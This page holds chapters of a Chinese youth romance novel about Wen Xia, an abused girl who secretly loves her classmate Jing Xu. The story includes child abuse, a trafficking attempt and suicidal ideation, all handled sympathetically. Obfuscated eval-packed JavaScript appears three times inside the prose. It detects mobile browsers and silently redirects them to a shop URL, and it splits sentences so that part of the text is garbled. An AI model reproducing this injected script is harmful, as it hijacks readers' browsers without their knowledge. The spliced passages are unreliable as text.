“这几天都没睡好,困死了,一会儿到了你叫我一下。” “嗯,睡吧。” 温夏也很困,但这样可以光明正大偷看他的机会实在难得。 尽管他坐在靠前位置,她只能看到他的手和后脑勺,她还是强撑着困意,像一个见不得光的小偷,将他藏进每一寸眸光里。 从军训基地到学校这一段时光,像是她偷来的。到站的那一刻,就是她不得不把这段时光还回去的时候。 校车到站,温夏调整了一下情绪,才拍拍黄筝的肩:“到了。” 高一(1)班的教室在五楼,温夏爬楼的时候,脑子里冒出无数个“我会不会和景栩成为同桌”的问句。 她在脑海里幻想着,自己所期待的那个结局。甚至预演了,和他成为同桌后的第一句寒暄。 温夏沉浸在自己的世界,嘴角慢慢牵出了笑意。 想象总是被人为加工,铺上厚重的滤镜。这层滤镜,美好到,温夏忘记了,自己从来不是被生活眷顾的主角。 8. 08 行李统一卸在操场,卸完后,温夏听见身边的几个男生即兴打了个赌——最后一个到教室的请全班人喝可乐。 景栩也在其中。 操场上没一会儿多了许多少年奔跑的身影,不多时便没影了。 到了班级后,温夏环视了一圈,他坐在最后一排的最后一张桌子,低着头,微喘着气,手点着屏幕,应该是在和人聊天。 他已经有了同桌,是军训时和他同宿舍的卢杭。 这一刻,清醒冲破那层美好的滤镜,只剩下了赤-裸-裸的现实。 她没有任何光环,收获的爱很少,就连好运气也很少。 在温水般的青春里,能遇见景栩,已经是她生命中难得的际遇。 就像是巨大的夜空里,突然炸出一簇烟花,光辉只在那一刹,在那之后,便又是和之前一样的、无穷无尽的黑暗。 可黑暗才是常态。 她的人生轨迹,本就应该,在那一簇花火后,恢复按部就班的寻常样子。 温夏顺理成章地和黄筝成为同桌。 教室里吵吵闹闹,聊什么的都有。黄筝和后桌的女生在聊最近的明星八卦,温夏不太认识她们说的明星,可她还是侧坐着,听她们聊天。 原因很简单,她们坐在靠走廊那一排的第二张课桌,要转半个身子才能看见景栩。 为了掩饰自己,她还时不时附和她们两句。 在她们的话题转到另一个明星的时候,严谨走进来了。 严谨是一班班主任,看起来四十岁左右,穿着深蓝色的老头衬衫,下摆一丝不苟地扎进西裤,手里拿了一个保温杯和一张A4纸。 学生们只在分班当天,在操场集合时见过他。 他缓步走上讲台,在黑板上写下了自己的名字和一串号码:“我叫严谨,你们可以叫我老严。我教语文,号码大家都抄一下,有什么事儿及时给我打电话。 “今天没什么事儿,清点完人数就放你们走,下面点个名,我也趁这个机会认识一下你们。喊到名字的同学答声到。” 严谨举着那张A4纸:“班长,上来点名。” 有人举手:“严老师,班长去厕所了,还没回来。” 严谨:“学委。” 景栩走上台,接过名单,严谨上下打量他一眼:“你先做个自我介绍。” 下一秒,温夏听到那句熟悉的“春和景明的景,栩栩如生的栩。” 不知道是不是错觉,温夏总觉得,他说这句话的时候,格外温柔。 名单上的名字,是按开学考的成绩排序的,温夏在第二十七个。 景栩每念一个名字,她的紧张就多一分。 “温夏”两个字,就快从景栩口中念出来了。 她一颗心一直吊着,直到听到自己的名字,才强装镇定地答到。 点完名,严谨又嘱咐了周末注意安全,之后又说:“班长上来写Q/Q号,其他同学回去加他一下,由他创建班群。” 黄筝住宿,温夏先帮她把行李搬去宿舍。 学校门口就有奶茶店。恰逢放学时段,此时学生最多。 每家店门口都有人排队,黄筝拉着温夏往队伍最长那家走:“人越多,味道越有保障。” 过了几秒,黄筝说:“夏夏,要不我先和你回趟家吧?你这样拎着个箱子,怪不方便的。” “没关系的,很轻。” 黄筝耸耸肩,没再坚持。 刚走到那家店门口,黄筝就看到了正在排队的卢杭,她热情地打招呼:“班长!好巧,你也来喝奶茶啊。” 卢杭笑着回应,看了眼:“你们要喝什么,我请你们。” 黄筝摆摆手,正想拒绝,卢杭提醒道:“现在队伍很长。” “那一会儿我们把钱给你。”黄筝说,“我要杨枝甘露,夏夏你呢?喝什么?” 温夏不太挑:“都行。” 卢杭给她买了杯柠檬水。 两个姑娘坚持要把奶茶的钱给他,他也没收:“说好了请你们。” 卢杭看到温夏的箱子,主动接过来:“我也要去公交站,一起过去吧。” 卢杭也没住校,但两人的家不在一个方向,他等的公交先到:“那我先走了。” “好。” - 卢杭走了没多久,空气变得闷沉,远处的乌云飘了过来,似乎在酝酿一场暴雨。 没多久,豆大的雨滴坠落,或许天太干,最开始的那些雨滴,触碰到地面的那一瞬,就被蒸干。 后来雨越来越大,万物湿润。 下了十来分钟,都没有要停的趋势,身边一起等公交的人已经陆续被家人或朋友接走,因为突如其来的暴雨,也没有人再过来。 站台只剩下几个人。 温夏左边站的是一个穿着JK的女孩子,她在跟家人打电话,撒着娇,没多久一辆轿车挺在她面前。 女生小跑着上了车,钻进后座,后座上的女人送给女生一束花,女生扑进女人怀里撒娇:“谢谢妈妈!” 温夏安静地看着这一幕。 她和别人不一样。 大雨滂沱时,别人等的是替自己撑伞的人,而为她撑伞的人,只有她自己。 如果恰逢没带伞,她能做的,只有等雨停。 雨停的时候,温夏要等的66路也来了。 到家时,家里很安静,人可能都在水果店。 她行李都没来得及收拾,就冲进卧室拿自己的手机。 因为知道军训前会没收电子产品,就没把手机带去,好几天过去,已经没电了。 她插上充电器,开了机就登陆Q/Q,输入了从黄筝那儿偷看来的那串数字。这串数字她背得滚瓜烂熟,每输入一个数字,她的心跳就快一分。 她并不确定这串Q/Q号的主人是不是景栩。其实,过不了多久,卢杭创建完班级群,她就能知道景栩的Q/Q号,但人总有一些迫不及待的时刻。 网络有点差,温夏走到信号较好的窗边坐下,十几秒后,终于刷新出界面。 这串Q/Q号的昵称是“Spring”,头像是一只很可爱的玳瑁色布偶,主页背景风格清新,和他的日常风格沾不上边。 应该不是他的号。 这样也好,就算是他的号,她也不见得有勇气发送好友申请。 放下手机,温夏去冲了个澡。 回来时,手机多了几条未读消息。 她和卢杭初中同班,本来就是Q/Q好友,他直接把她拉进了班群。 大家聊了会儿,卢杭发了一条让大家在群里实名。 群里人还没齐,一班一共五十二人,加上班主任,群成员应该是五十三。班主任已经被设为管理员了,那就是还有一个学生没进群。 温夏在群成员里,没有看到景栩的名字。 过了几分钟,群里进来了新人。 昵称是“Spring”。 头像也一模一样。 温夏心跳仿佛漏了一拍。 没来得及多想,手机震动,有了新消息。 卢杭::【@Spring实名。】 下一秒,"Spring"的群昵称就变成了“景栩”。 温夏表情有些呆,刚才她认为和他毫不沾边的那个号,偏偏是他。 可那又怎么样? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986523|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她根本没有加他好友的勇气。 正发着呆,客厅里有动静。 温夏走出去,是大伯回来了。 大伯看到温夏,问:“你大伯母没在家吗?” “没有。”温夏说,“我以为她在店里。” “我刚从店里回来,估计又在哪打麻将。”温诚边说,边把手里的小蛋糕递给她,“拿着,知道你今天回来,特意给你买的,别让你大伯母看见了。” “谢谢大伯。”温夏接过,大伯待她不算差,对此一直心怀感激,“我去给您下碗面。” 吃碗面,温诚往沙发上一躺,开始抽烟。这是他一直以来的习惯,有时候只抽一支,更多时候会连抽好几支。 温夏一直很讨厌烟味,她快速收拾完厨房,往兜里揣了几根火腿肠,拎着垃圾出来:“大伯,我下去扔垃圾。” 温夏扔完垃圾,不想回去闻烟味,就沿着路慢慢走,走到这段斜坡的尽头,她停了下来。 此时又飘起了细雨,路边有不少流浪猫,身上都还湿着。温夏总来喂它们,见到她,它们不约而同跑到她脚边,用脑袋蹭着她。 她找个有檐的地方蹲下来,边喂它们,边和它们聊天。 什么都聊,聊今天天气不太好,她不喜欢湿漉漉空气;聊军训这几天她认识了一个很可爱的姑娘,那姑娘现在是她同桌;聊她终于理解了小说里总描写的少女心事;聊她的自卑、敏感;聊她和景栩之间显而易见的巨大差距…… 小猫们大概也察觉到她今天情绪低沉,时不时叫几声,还会伸出爪子拍拍她,好像在用它们自己的方法安慰她。 聊完这些,也才过了十分钟,这会儿烟味没散,甚至,大伯可能还没抽完烟,她还是不想回去。 路灯亮起,温夏抬头,看到了不远处的景栩。 他从快递站出来,手里拿了不少东西。 她在的位置正好是他的视线盲区,他不会看见她。 他径直走向余庆巷,不会往她此时所在的位置走,他们不会遇见。 温夏垂眸,纠结得不自觉地咬起了唇,像是要给自己找一个支撑似的,低头问脚边的小猫:“你说,我要不要上去和他说话?” 小猫叫了一声,跳上围墙,走了。 温夏蜷了蜷手指,最终还是决定勇敢一些。 如果,不能做到落落大方的主动和他打招呼,也无法阻止自己走向他。那么,她就努力走到他的路上去,和他正面相遇,然后收敛心跳,假装成一场偶遇。 树阳县的路温夏很熟,穿过一个巷子,再走过一个路口,就能和景栩遇上。 她用跑的,在巷口看到景栩正慢悠悠地走上来。她调整着呼吸,等平稳了才走出去。 景栩依旧是先打招呼的那个:“好巧啊温夏。” “好巧啊景栩。”温夏模仿着他的句式。 她指了指他怀里的东西:“要我帮忙吗?” 景栩大概真的拿不完,选了两个最轻的箱子给她:“那谢谢了。” 天气原因,街道难得安静,只有三两行人,空气潮润,隐约能嗅到湿润泥土的气息。 眼前是一段坡度极缓的路,温夏和景栩并肩走着。少女余光视野极窄,可她有限的视野里,每一寸,都是身旁这位太阳般的少年。 两人一路都没什么话,她却希望这段路再长一点。 不知道什么时候,雨停了。 在某个瞬间,温夏脑海里突然冒出一个念头——那天公交上,在她心里下的那场雨,好像也慢慢停了。 她喜欢听雨声,却不喜欢湿漉漉的雨天。 可如果每个雨天都能遇到他的话,雨天也变得值得期待了。 9. 09 两人走得很慢。 闲聊中,温夏得知,这些都是他在堰青的朋友寄来的。最大最沉的那箱,是各种教辅书,和各类竞赛的真题和模拟题;她怀里的两箱,是种类繁多的零食和一些电子产品。 作为感谢,景栩第二天送了一些零食给她。 包装上那些字母她拼了半天也不认识,多数是她从来没听过的牌子。 她随手拿起一个质地很好的深蓝色盒子,内盖上用烫金印着品牌LOGO。里面只装了五片薯片,它们各自有自己的“房间”,看起来比她都幸福。土豆而已,切薄了装进精致的盒子,立刻成了大多数普通人招惹不起的样子。 唯一眼熟的,是PatrickRoger,她曾在一个轰鸣的雨夜收到过。 这串字母,印在一个绿色的铁盒子上。 这些零食,和他的手表一样,在她的认知外。手机就摆在桌上,只要她拿起手机,就能了解这些品牌。可她甚至,连打开搜索框的勇气都没有。 搜索结果,只会惹得她的自卑像通货膨胀那样,一发不可收拾。 今夜仍有雨,温夏坐在水果店里。 街道上行人匆忙,表情各异。她坐在窗边,雨滴和玻璃碰撞所发出的脆响尽在耳畔。雨丝斜斜打落,水雾氤氲在玻璃上。 两年前那个沉郁而漫长的夏天,也是在这样一个雨夜,她遇到了景栩。 那天上午,所有科任老师都通知要买学习资料,温夏算了算价格,每一科都不算贵,可加起来也有大几百。 母亲给她的那张卡,她被大伯接到县城那天,就被大伯母拿走了。所以,她连买一本资料的钱都凑不出来。 温夏一直在想,要怎么跟大伯开口要这个钱。在下午放学前,她已经想好了,这钱算她借的,打个欠条,以后会还。 从学校到家的那段路她都十分忐忑,想着如果大伯和大伯母不肯借,她该怎么办。 可她到家后,家里没人,邻居说水果店也没人。 温夏做了晚饭,一直等,等到很晚。 饭菜凉了又热,热了又凉,她不记得反复了几次。后来不知不觉,她在沙发上睡着了。 终于等到门外传来动静,她被吵醒。 大伯母带了几个人回来,这几个人她见过,是镇上的人。她没来得及打招呼,就看见大伯母指着她说:“我就说夏夏很乖,这个点怎么会不在家?这小孩儿节约,没开灯。” 话音刚落,客厅的灯随之被打开。 温夏尚未完全清醒,抬手挡了挡刺眼的灯光。其中一个头发花白的老人走到她身边,捏了捏她的手:“这也太瘦了,你……” 老人欲言又止,最后走过去和大伯母说了几句悄悄话。 几分钟后,那几个人说要走,大伯母让她下楼送送客人。 下了楼,她隐约听见“不好生养”和“脑瘫”之类的话,她意识到什么,想往回跑,却被其中最矮最胖的男人抓住:“想去哪?你大伯母可收了我们钱的。” 温夏终于懂了。 她以前只是觉得,大伯母不过是刻薄,从来没想过,她会坏到这个程度。 是她低估了人性的恶。 要不是去送货的大伯及时回来,后果真的不敢想。 大伯第一次气急败坏地,打了大伯母一巴掌。可大伯母依旧没觉得自己做错,还一个劲让温夏去死,别留在世上连累人。 可温夏也不知道,她到底怎么连累人了。 她吃得很少,夏天穿的衣服她冬天也在穿;她几乎从来不买东西,也从来不像温悦那样叛逆早恋、逃学打架;她分担家务、在店里帮忙……能做的都做了,可大伯母还是不满意,骂她打她,想把她赶走,甚至盼着她死。 温夏忘了自己是怎么从那个家跑出来的,也不知道什么时候下了雨。 理智回笼时,自己已经被大雨浇透了。 她站在一家叫美宜佳的24小时便利店前。马路对面是向阳桥,桥下面是一条河,岸边常年立着一块牌子,上面写:水深危险!请勿靠近! 脑海里冒出大伯母的声音,她忽然想,如果跳下去,她所有的苦难,是不是也会随之结束? 她今天,还在作文里写——黎明前总是最黑暗,只要不放弃,总会等到苦尽甘来。 可她看不见未来,她能看见的,只有无穷无尽的厄。她心底残存的希望,好像,根本不足以支撑她等到“甘来”。 她忽然不想等了。 景栩就是这个时候出现的。 在万念俱灰的时刻,她遇到了太阳般温暖耀眼的景栩。 他从雨帘里跑来,大概是想去她身后的美宜佳避雨。经过她时看到她全身湿透,就留了个心眼。 顺着她的目光,他看到了那块警示牌,以及警示牌下由于暴雨而变得湍急的河流。 景栩脑海里闪过一个念头——她想跳下去。 这念头把他吓一跳,来不及多想,他把手里的草莓蛋糕递到她面前:“你好,那边活动送的蛋糕,你……” 事发突然,他一时没想好理由,话就这么生硬地停了。 温夏看向他,忽然没头没脑的问一句:“如果一个人总是很倒霉,她应该怎么办?” 景栩干脆不找理由了:“应该吃点甜的,这个蛋糕送给你。” “如果蛋糕不够,还有薄荷糖。”景栩从外套口袋里拿出一个铁盒子,“巧克力也不错。” “虽然我不知道你发生了什么。但是——” 雨打在篷伞上,簌簌作响,两秒后,他清润的嗓音才再度响起,“否极泰来。” “雨总不会一直下。” 美宜佳里很热闹,他说完这句话时,里面唱起了生日歌。 他跑进去借了一支蜡烛,插在那个只比她掌心大一点的草莓蛋糕上:“夏至快乐,陌生人。” 那天是夏至。 也是温夏的十四岁生日。 那个时候她并不知道他的名字,是很久以后,才听林婆婆说起。 从那之后,春和景明这四个字,对温夏来说,比否极泰来更充满希望。 - 正式上课将近一个月,温夏都少有和景栩说话的机会。 在路上遇到,他们也会像朋友那般互相寒暄,可是没有话题,就只是再简单不过的寒暄。 可那怕只是说一句“嗨”的机会,温夏一只手就能数得过来。 这段时间以来,温夏每天都能赶上最早的一班66路,可她每次都等到景栩出现在斜坡,才上车。 他有一辆颜色很漂亮的山地车,是骑车上学。公交停站等乘客时,他会趁机加速超过去,温夏会透过车窗看他,直到他消失在视线里。 下雨天他会坐公交。有时候他们并肩而坐,能说上几句话;有时候他匆忙上车,根本没注意到她的存在,这种时候,她的目光,就会在他身上停留一路。 今天周五,温夏醒来时,天阴沉沉的,想起天气预报说今天会有雨,出门前,她装了一把伞在书包里。 温夏出了门,远远就看见站在圆形站牌下的景栩。 今天出发得晚,正值高峰,公交上已经塞满了人,司机朝后吼了声:“往后站一站!中间的往后站一站!” 温夏和景栩费了点劲儿才挤上去。 后面还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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后座的男生立刻搭腔:“不可能,除非下大暴雨,否则,毛毛雨咱都要被赶下去。不过你这两天不是总嚷嚷着长胖了,锻炼一下不是正好。” 黄筝扯扯唇,转过身:“齐子尧,你再嘴贱,信不信我扇你。” 齐子尧知道黄筝力气大,下手没个轻重,被打过两次后,学会了见好就收,在黄筝彻底被惹毛前,举手投降:“我错了,姐姐饶命。” 话音刚落,大雨忽至,以倾盆之势砸下来,耳边只剩下,雨砸在地面发出的“噼里啪啦”的声音。 广播通知跑操取消,教室里立刻响起整齐而洪亮的欢呼声。 下课后,齐子尧用笔戳了戳黄筝:“明天周六,你要回家吗?” “不回,太远了。” 从县城到黄筝家,虽然只有一个半小时左右车程,但要转两趟车,太麻烦,而且不划算。 齐子尧:“那爬山去?” 黄筝拿出地图:“咱们县海拔最高的山才365米,没什么挑战性,不去。” 齐子尧:“来吧,人多热闹。” 黄筝问:“还有哪些人?” “栩哥和杭哥他们都去,还有钟粒粒她们。” 黄筝兴趣一下子上来了:“有帅哥就不一样了,什么时候出发?算我一个。” “明早九点在顺德路口的公交站集合。”齐子尧完,用笔戳了戳温夏:“温夏,你去不去?” 她本来对这些活动不太热衷,但景栩也会去…… 她不带犹豫,转头回了声:“也算我一个。” 10. 10 因为约好了去爬山,温夏特意定了闹钟。 闹钟还没响,她就醒来了。 她实在睡不着,干脆起来开了灯,在为数不多的旧衣服里,认真挑选起来。 但两分钟后,“即将和景栩一起爬山”的喜悦,就被打了折扣——她连一件像样的衣服都找不出来。 一件,都找不出来。 最终她选了件看起来最新的旧T恤。 她到单元楼门口时,景栩也正好出来。 顺德路离这不远,时间还早,两人步行过去,人也还没到齐。 两人远远看见,齐子尧在逗宠物狗,景栩看到随口问了句:“宠物狗能上公交吗?” 温夏眼神暗了下去,堰青的公交,原来是不能带宠物上车的吗? 大概树阳也不能,可谁在乎? 带了就是带了。 半晌,温夏才答:“应该吧。” 出发之前,一行人先吃了点东西。 龙鸣山算得上树阳的一个小景点,景区里东西都贵,都是学生,没必要花冤枉钱。 山的海拔不高,但爬起来还是有些累人。到山顶时,黄筝靠在温夏肩膀上,喘着气:“我不行了,我要买根烤肠吃。” 齐子尧牵着狗,听到这话笑话她:“都说了你缺乏锻炼,还不承认。” 黄筝微微一笑:“你过来,我保证不打你。” 齐子尧牵着狗狗跑了。 黄筝现在没工夫跟他计较,拉着温夏走到一个卖烤肠的小摊前:“老板,多少钱一根?” “十块。” 学校旁边的小吃街才卖三块,听到这个价时,黄筝眼睛都瞪圆了,又去问了两家,都是这个价。 最后还是没买。 “这和抢钱有区别?”黄筝喝水充饥,“卖五块我都要考虑一下。” 景栩刚才去了趟洗手间,没跟上大部队,这会儿温夏终于看见他。 他蹲在地上逗齐子尧的狗,小狗可能是饿了,冲着烤肠摊叫了两声。 他起身买了两根,两根都喂给了小狗。 黄筝叹了口气,又猛喝了一口水:“听说城里人养的狗狗比好多人都活得好,吃的狗粮都能卖到大几千。从这两根烤肠,也能看出些端倪了。” 温夏一脸平静地看着红亭子前的景栩。 太阳照在他身上,小狗开心地围着他转圈。温夏抬头,阳光太刺眼,生生把她刺得眼角红红。 黄筝吓一跳:“夏夏,怎么了?身体不舒服?” 温夏眨了眨眼:“没事。” 只是觉得。 烤肠说贵也不贵。 但如果要她买,她会舍不得。 - 九月末,高一的学生们迎来了第一次月考。 学生们在考试前,被焦虑笼罩着。 毕竟,月考是对他们学习的检验,也是大家除了开学考,第一次正面较量。担心自己退步在所难免。 考完最后一科,大家的焦虑被浓烈的喜悦代替。 这种喜悦挂在眉梢,也挂在眼角。 所有人的快乐都很直观。 景栩今天好像也格外开心,她目光定格的每一帧,他都是笑着的。 在这些火一样浓烈的快乐里,温夏的情绪淡得就像一湾清澈细长的水。饶是黄筝再粗线条,也能察觉到:“夏夏,你怎么了?十一长假,怎么都不开心点。” 温夏的目光落在人群里的景栩身上。 对她来说,喜悦,总像某一个人的名字。 重量隐伏期间,在不可触知的边缘。 对她这样的人来说,开心是奢侈品。 她随便扯了个借口:“没事,就是有点担心月考成绩。” “没事的,咱们都会考得超好!”黄筝总是很乐观,“对了夏夏,你假期什么安排。” 温夏摇头:“应该在家吧。” 自从被接到大伯家,她每年的国庆都是在水果店里度过,赵雁蓉根本不允许她有自己的安排。 两人走到岔路口,黄筝停下来:“我要回宿舍收拾东西回家了,节后见啦夏夏。” 温夏笑着挥手:“节后见。” 温夏走到公交站,整个学校一起放假,今天校门口格外拥挤。 周遭吵闹,讨论的话题无非是长假的安排。 温夏上了公交,没多久被挤到最里面。 车子开过一个站,温夏忽然听到景栩的名字,心尖一颤,目光投向声音传来的地方。 站在她面前的男生比她高出一个头,她怎么踮脚,目光都没办法越过面前的人。 她打起精神,耳朵竖起来,但车厢嘈杂,她听了好久,也没再听到他的名字。 前几天,她跟程聿、格格都通过电话,都说假期要回来,让她明天假期的第一天上午十点,去车站接人。 温夏提前了半小时到,接到他们后,她一脸抱歉:“我可能不能陪你们玩了,要看店。” 这事儿昨晚温夏已经打电话说过了,格格和程聿都表示理解。 上了出租车,格格的嘴就没停过,拉着温夏说了好多话:“在学校有没有人欺负你? “一中食堂饭菜很差吗?怎么又瘦了? “你有交新朋友吗?我们不在你身边,你要多交些朋友,有人陪着你我们安心点知不知道。不过你得答应我,无论你交多少朋友,排第一的只能是我。 “温悦没欺负你了吧,她要是欺负你你告诉我,我帮你把她打得满地找牙!” 人在屋檐下不得不低头的道理格格懂,但还是气不过,尤其是想起温夏被欺负,就更加气不打一处来:“他们一家也真是的,凭什么他们出去潇洒,我的小夏夏就得看店!” 温夏听着这些话,感觉温暖从四面八方来,将她包裹。 格格一向这样,看起来大大咧咧,其实很细心,很轻易就能让人感动。 温夏一一回答了她的问题,顺着毛:“不气不气,气出病来无人替。 “还有—— “我的格格,永远排第一。” 格格被哄开心了,献宝似的从背包里拿出很多小玩意儿,一个劲儿往她怀里塞:“都是我在辽城逛街的时候看到的,都送给你。” 程聿这时懒懒出声:“夏夏拿不完,先收起来,回去再给她。” 他说得有道理,但格格总想跟他作对,把那些东西和背包一起扔给他:“回去再给我们。” 格格翻了个白眼,面对温夏时又一副笑嘻嘻的模样:“对了夏夏,晚上咱吃火锅。让那个脸很臭的家伙多买点肉给你补补。” “好。” 晚上的火锅局,是在水果店里。 程聿和格格白天陪她看水果店,傍晚时两个人又去了菜市场。 他们买了很多肉,也买了很多温夏爱喝的饮料。回来的时候,两人顺道回了趟程聿家,带来了程妈妈做的红烧肉和排骨汤。 格格拆了几盒酸奶出来,剩下的全装进了温夏书包里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986525|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这几天格格和程聿每天都在店里陪她,有时候三个人围在一起,比赛做题;有时候是玩游戏,格格总赢,因为她总耍赖;有时候只是坐在一起聊聊天。 假期第二天的时候温夏赶过几次人,让他们别把这么宝贵的假期浪费在水果店里。格格总拿一个理由反驳她——树阳就这么大,从小在这长大哪儿都去过了。我回来又不是为了旅游的,是为了来陪陪你。 反复拉扯几次后,温夏就由他们了。 这几天,温夏没见过景栩。 不知道是因为他待在家里没出门,还是因为和她出门的时间,总阴差阳错的错开。 每次她出门、回家,又或者是经过每个路口,都会想会不会遇见他。 起初,她希望经过的每个路口,都能遇到他,和他打招呼。到后来,在心里祈祷,哪怕只在一个路口见到,他没看见她好像也没关系。 可她没碰到过景栩,一次都没有。 夜深人静的时候,温夏望着天花板。 脑海里总乱七八糟的,总会想,是不是上天不想让她有所期待,所以连一点希望都不肯给她。 原来偷偷喜欢一个人,是这种感觉。 会不由自主的幻想无数次和他之间相处的可能性,在脑海里,擅自描摹一些莫须有的细节。 头脑清醒时,独自承受一场又一场空欢喜。 然后,再清醒着沦陷。 反反复复,像陷入某种循环。 明明清晰地感受到痛苦,却也甘之如饴。 温夏会偶尔上班群看看,里面很热闹,但景栩从来没在里面发过言。 温夏点开过他的头像无数次,也研究过无数次,与此同时,她冒出无数次添加好友的想法,又无数次放弃。 暗恋者。 都是当之无愧的胆小鬼。 - 假期最后一天,温夏还是见到了景栩。 早上送别完程聿和格格,到店里时,店门口聚集了很多人。 她隔老远就听见了赵雁蓉的声音,又哭又喊,咒骂声在一片杂声中格外明显。 人群外停了一辆警车。 温夏挤进去,赵雁蓉一见她来,哭得更大声了:“让你好好看着店,你是怎么看的?在我们家白吃白喝就算了,怎么这点小事你也做不好!怎么养了你这么个白眼狼!” 她过完嘴瘾,朝温夏扑过来,被警察及时拦住。 店门没损坏,小偷是撬窗户进来的。 赵雁蓉每天都会把当天的收入带回家,这几天温夏也是这么做的。她早上去送格格和程聿,今天还没开张,收银箱里一分钱没有。 警察把温夏拉到一边,看向赵雁蓉:“行了,别动手。没有财务损失,自己家孩子教育几句得了。” 警察疏散了人群,店里没人了,温夏还是没逃过一顿打。耳朵被揪到没知觉,温夏咬着牙,一声不吭。 一辆大货车停在门口,赵雁蓉停了手:“去把货搬进来。” 温夏搬得慢,赵雁蓉也会动手。 鸡毛掸子打在身上,泛起尖锐的疼,其中一下打在她右手的小臂上。温夏吃痛,手里那箱苹果掉得满地都是。 鸡毛掸子又立刻招呼上来:“晦气!这点事儿都做不好,今晚别吃饭了!” 大概是打累了,她停了手,像只打了胜仗的公鸡一样走了。 温夏弯腰捡苹果,有人动作比她快。 在浓浓的果香里,她嗅到一丝奇特又熟悉的橡木苔味。 11. 11 在看到景栩的脸的那一瞬,窘迫、难堪和一些说不清道不明的情绪,朝她席卷,将她覆盖。 这个时刻,她最想见到的人是他。 最不想见的也是。 她的自尊刚刚被人剥去皮肉,挖走一块。 她不想让他看到自己此刻的狼狈和惶乱,可偏偏,他看见了。 她不知道自己该怎么逃,也不知道该怎么让他失忆。她只是站在原地,呆滞地看着他,用尽了全力,才忍住了快要涌到临界线的眼泪。 温夏感觉每一秒都被拉长。 景栩神色如常,像是没看到那一幕,只是语气平常地说:“我来买点水果。” 温夏知道,他在不动声色地,维护她岌岌可危的自尊。 景栩走后没多久,温诚就过来了。 下了火车先回家的温诚,听胡胖子说了水果店的事,从家里急急忙忙赶来。 温夏身上是一件短袖,手臂上的伤看起来触目惊心,温诚掏出钱包,拿出几张现金:“去医院看看,买点药膏。快拿着,一会儿你大伯母看见了。” 温夏没敢收这个钱。 也不想收。 她不想再有更多牵扯。 - 景栩拎着水果回了家:“外婆,我回来了,” 老人家正在厨房煲汤。听见动静,在厨房喊了声:“洗手吃饭了。” 吃饭时,外婆看到放在茶几上的水果,看到塑料袋,问:“在温家买的?” “嗯。”景栩往常并不会多想,想起温夏被打那一幕,便多问了句,“怎么了?” 外婆叹气,筷子也放下了:“可怜哟,这姑娘命苦。你们是同学,平时能帮,你就帮着点吧。 “她那个大伯母,从小就虐待她,不给饭吃是常事,就算给口吃的,也是他们一家吃剩下的。她大伯为人倒是憨厚老实,只是也是个怕事的主儿,不想家里闹得鸡犬不宁,索性也就不管。 “水果店被偷,估计又会吃苦头了。 “不过这姑娘好在没受这家人影响,懂礼貌,也善良。乖乖巧巧的,一看就惹人喜欢。我一个老太婆,多亏了她经常陪我聊聊天……对了,尝尝这排骨,盐是不是淡了?” 景栩尝了一口:“不淡,刚刚好。” 想起温夏军训晕倒,医生嘱咐的那些话,景栩眉心动了动:“大伯母?她没跟父母一起住吗?” “她父母在她很小的时候就离婚了,这么多年一直也联系不上。哪有这么当父母的?” - 晚上大伯一家出去吃,温夏关了店门回去,家里没人。 她在门口鞋架上的旧鞋里翻了翻,没找到钥匙。 不用想也知道为什么。 这一片是老城区,设施老旧,楼道灯坏了好几年,也没人来修。其他基建也损耗得差不多,却无人在意——和她一样,像是被人遗忘了。 温夏不喜欢待在昏暗的环境,下了楼。 这个点,很多小贩正在出摊,空气里弥漫着油烟的味道。温夏看着刘爷爷粉面店的招牌,还好口袋里有五块钱,晚上不至于饿肚子……手放进口袋摸了摸,却什么都没摸到。 钱丢了。 温夏叹了口气,走到广场的一角坐下。此时广场正热闹,多数是家长带小孩儿来过亲子时光。广场上的欢声笑语钻进耳朵,每一双含笑的眼睛都像一根针,软绵绵地扎在她身上,却有股不可忽视的疼。 对她来说,在这个当下,每一帧幸福都是一颗□□。 她只想把自己藏起来。 看着眼前的景象,她忽然很想念外婆。 她捂着耳朵,把头埋进膝盖间,不去听,也不想看。 白天的伤此刻仍非常明显,疼痛后知后觉地开始叫嚣。 胃也一阵抽搐。 温夏像是坠入冰冷的河底,四肢乏力,头昏脑胀。 或许是伤口太疼,又或许心里储存痛苦的容器终于溢满,她感觉到每一根神经都泛起酸楚。 忍了一天的眼泪,终于决堤。 她哭得静默却剧烈,眼泪溽热,洇湿了裤子的一小块。 不知道过去了多久,她感受到有人在身边坐下,然后她听见一句:“温夏?” 温夏抬头,脸上满是泪痕。 这副表情看得景栩心里一惊。 她给人的感觉,向来是一株生长在火山下的野草,默默生长,却顽强坚韧,永远生机勃勃。现在却面如死灰,就好像,眼底本来燃烧的一簇火被浇灭了。 景栩递给她一盒薄荷糖。 想起那句“今晚别吃饭了”,他问:“吃东西了吗?” 温夏没反应,像没听见他的话。 他叹了口气,去买了一杯关东煮:“先凑合着吃。我叫了份炒饭,一会儿再去拿。” 